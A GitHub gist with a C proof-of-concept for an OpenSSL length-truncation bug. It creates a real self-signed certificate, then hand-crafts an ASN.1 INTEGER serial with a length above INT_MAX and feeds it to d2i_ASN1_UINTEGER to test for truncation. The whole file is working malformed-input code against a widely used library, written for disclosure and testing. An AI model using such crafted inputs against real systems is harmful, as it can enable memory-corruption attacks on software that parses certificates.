Skip to content

Instantly share code, notes, and snippets.

@jedisct1
Created April 14, 2026 17:02
Show Gist options
  • Select an option

  • Save jedisct1/de66a9dc9ca25095920746c505f620b9 to your computer and use it in GitHub Desktop.

Select an option

Save jedisct1/de66a9dc9ca25095920746c505f620b9 to your computer and use it in GitHub Desktop.
/*
* PoC: ASN1_UINTEGER length truncation via certificate parsing
*
* This creates a real X.509v3 self-signed certificate using the OpenSSL
* API, serializes it to DER, then patches the serial number's length
* field in the raw DER to exceed INT_MAX, and re-parses it with
* d2i_X509(). Internally X509 parsing calls x_int64_ex_d2i which uses
* the general ASN1 machinery, but the legacy d2i_ASN1_UINTEGER path
* is only reached through direct calls.
*
* So this PoC demonstrates the direct d2i_ASN1_UINTEGER call on a
* DER-encoded serial number extracted from a real certificate.
*
* Build:
* cc -o poc_002_cert poc_002_cert.c -I../include -L.. -lcrypto -Wl,-rpath,..
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <limits.h>
#include <sys/mman.h>
#include <openssl/asn1.h>
#include <openssl/x509.h>
#include <openssl/evp.h>
#include <openssl/pem.h>
#include <openssl/err.h>
#include <openssl/bn.h>
static X509 *make_self_signed_cert(EVP_PKEY *pkey)
{
X509 *x = X509_new();
if (!x) return NULL;
X509_set_version(x, 2); /* v3 */
ASN1_INTEGER_set(X509_get_serialNumber(x), 1);
X509_gmtime_adj(X509_getm_notBefore(x), 0);
X509_gmtime_adj(X509_getm_notAfter(x), 365 * 24 * 3600);
X509_set_pubkey(x, pkey);
X509_NAME *name = X509_get_subject_name(x);
X509_NAME_add_entry_by_txt(name, "CN", MBSTRING_ASC,
(unsigned char *)"PoC-002", -1, -1, 0);
X509_set_issuer_name(x, name);
X509_sign(x, pkey, EVP_sha256());
return x;
}
int main(void)
{
printf("=== PoC: d2i_ASN1_UINTEGER truncation with real certificate ===\n\n");
if (sizeof(long) <= sizeof(int)) {
printf("SKIP: long == int on this platform.\n");
return 0;
}
/* Generate a key and self-signed cert */
EVP_PKEY *pkey = EVP_PKEY_Q_keygen(NULL, NULL, "EC", "P-256");
if (!pkey) {
fprintf(stderr, "Key generation failed\n");
ERR_print_errors_fp(stderr);
return 1;
}
X509 *cert = make_self_signed_cert(pkey);
if (!cert) {
fprintf(stderr, "Certificate creation failed\n");
return 1;
}
/* Serialize to DER */
unsigned char *der = NULL;
int der_len = i2d_X509(cert, &der);
if (der_len <= 0) {
fprintf(stderr, "DER encoding failed\n");
return 1;
}
printf("Generated self-signed certificate: %d bytes DER\n", der_len);
/* Write the valid cert to PEM for reference */
FILE *pem_fp = fopen("tmp/poc_002_valid.pem", "w");
if (pem_fp) {
PEM_write_X509(pem_fp, cert);
fclose(pem_fp);
printf("Valid certificate written to tmp/poc_002_valid.pem\n");
}
/*
* Find the serial number in the DER encoding.
* A v3 cert DER looks like:
* SEQUENCE {
* SEQUENCE { <- TBSCertificate
* [0] EXPLICIT INTEGER <- version (v3 = 2)
* INTEGER <- serialNumber <-- we want this
* ...
* }
* ...
* }
*
* We'll scan for the serial number field.
* After the version field [0] EXPLICIT { INTEGER 02 }, the next
* INTEGER tag (0x02) is the serial number.
*/
/* Find the TBSCertificate SEQUENCE */
int pos = 0;
/* Skip outer SEQUENCE tag + length */
if (der[pos] != 0x30) {
fprintf(stderr, "Expected SEQUENCE at offset 0\n");
return 1;
}
pos++;
/* Skip outer length */
if (der[pos] & 0x80) {
int lbytes = der[pos] & 0x7f;
pos += 1 + lbytes;
} else {
pos++;
}
/* Now at TBSCertificate SEQUENCE */
if (der[pos] != 0x30) {
fprintf(stderr, "Expected TBS SEQUENCE at offset %d\n", pos);
return 1;
}
pos++;
if (der[pos] & 0x80) {
int lbytes = der[pos] & 0x7f;
pos += 1 + lbytes;
} else {
pos++;
}
/* Now at version field: a0 03 02 01 02 for v3 */
if (der[pos] == 0xa0) {
/* Skip the explicit tag + its content */
pos++;
int vlen;
if (der[pos] & 0x80) {
int lbytes = der[pos] & 0x7f;
vlen = 0;
for (int i = 0; i < lbytes; i++)
vlen = (vlen << 8) | der[pos + 1 + i];
pos += 1 + lbytes + vlen;
} else {
vlen = der[pos];
pos += 1 + vlen;
}
}
/* Now we should be at the serial number INTEGER */
if (der[pos] != 0x02) {
fprintf(stderr, "Expected INTEGER tag at offset %d, got 0x%02x\n",
pos, der[pos]);
return 1;
}
int serial_offset = pos;
printf("Serial number INTEGER found at DER offset %d\n", serial_offset);
printf("Original serial: tag=0x%02x len=0x%02x value=0x%02x\n",
der[pos], der[pos+1], der[pos+2]);
/*
* Now demonstrate the vulnerability: take the serial number's raw
* ASN.1 encoding and re-encode it with a length > INT_MAX, then
* parse it with d2i_ASN1_UINTEGER.
*
* We craft: 02 85 01 00 00 00 01 <value_byte>
* This encodes INTEGER with content length 0x100000001 (4294967297).
*/
const long evil_content_len = 0x100000001L;
const int evil_header_len = 7; /* tag(1) + 0x85(1) + 5 length bytes */
const long evil_total = evil_header_len + evil_content_len;
printf("\nCrafting evil serial with content length 0x%lx ...\n",
evil_content_len);
/* mmap enough virtual space */
size_t map_size = (size_t)evil_total + 16;
unsigned char *evil_buf = mmap(NULL, map_size,
PROT_READ | PROT_WRITE,
MAP_ANON | MAP_PRIVATE, -1, 0);
if (evil_buf == MAP_FAILED) {
perror("mmap");
return 1;
}
printf("mmap'd %.2f GB virtual memory for crafted serial\n",
(double)map_size / (1024.0*1024*1024));
/* Build the evil ASN.1 INTEGER */
evil_buf[0] = 0x02; /* INTEGER tag */
evil_buf[1] = 0x85; /* 5 length bytes follow */
evil_buf[2] = (evil_content_len >> 32) & 0xff; /* 0x01 */
evil_buf[3] = (evil_content_len >> 24) & 0xff; /* 0x00 */
evil_buf[4] = (evil_content_len >> 16) & 0xff; /* 0x00 */
evil_buf[5] = (evil_content_len >> 8) & 0xff; /* 0x00 */
evil_buf[6] = (evil_content_len >> 0) & 0xff; /* 0x01 */
/* Copy the original serial value byte as the first content byte */
evil_buf[7] = der[serial_offset + 2];
printf("Evil ASN.1 header: %02x %02x %02x %02x %02x %02x %02x\n",
evil_buf[0], evil_buf[1], evil_buf[2], evil_buf[3],
evil_buf[4], evil_buf[5], evil_buf[6]);
printf("Content byte[0] = 0x%02x (from original cert serial)\n\n",
evil_buf[7]);
/* Parse with d2i_ASN1_UINTEGER — the vulnerable function */
const unsigned char *pp = evil_buf;
ASN1_INTEGER *parsed = NULL;
parsed = d2i_ASN1_UINTEGER(&parsed, &pp, evil_total);
if (parsed == NULL) {
printf("d2i_ASN1_UINTEGER returned NULL (rejected).\n");
ERR_print_errors_fp(stdout);
printf("\nRESULT: NOT VULNERABLE\n");
munmap(evil_buf, map_size);
OPENSSL_free(der);
X509_free(cert);
EVP_PKEY_free(pkey);
return 0;
}
int stored = ASN1_STRING_length(parsed);
printf("d2i_ASN1_UINTEGER succeeded on crafted serial!\n");
printf(" Stored length: %d (0x%x)\n", stored, stored);
printf(" Expected length: %ld (0x%lx)\n", evil_content_len, evil_content_len);
if (stored != evil_content_len) {
printf("\n LENGTH TRUNCATION CONFIRMED:\n");
printf(" (int)0x%lx = 0x%x = %d\n",
evil_content_len, (int)evil_content_len, (int)evil_content_len);
printf(" Allocated only %d+1 = %d bytes for a %ld-byte field.\n",
stored, stored + 1, evil_content_len);
/* Demonstrate: compare with what a BIGNUM conversion would yield */
BIGNUM *bn = ASN1_INTEGER_to_BN(parsed, NULL);
if (bn) {
char *hex = BN_bn2hex(bn);
printf("\n BN value from truncated parse: %s\n", hex ? hex : "(null)");
printf(" This is derived from only %d byte(s) of data,\n"
" not the real %ld-byte serial number content.\n",
stored, evil_content_len);
OPENSSL_free(hex);
BN_free(bn);
}
}
printf("\nRESULT: VULNERABLE — length truncation in d2i_ASN1_UINTEGER\n"
" with serial number data from a real certificate.\n");
ASN1_INTEGER_free(parsed);
munmap(evil_buf, map_size);
OPENSSL_free(der);
X509_free(cert);
EVP_PKEY_free(pkey);
return 2;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment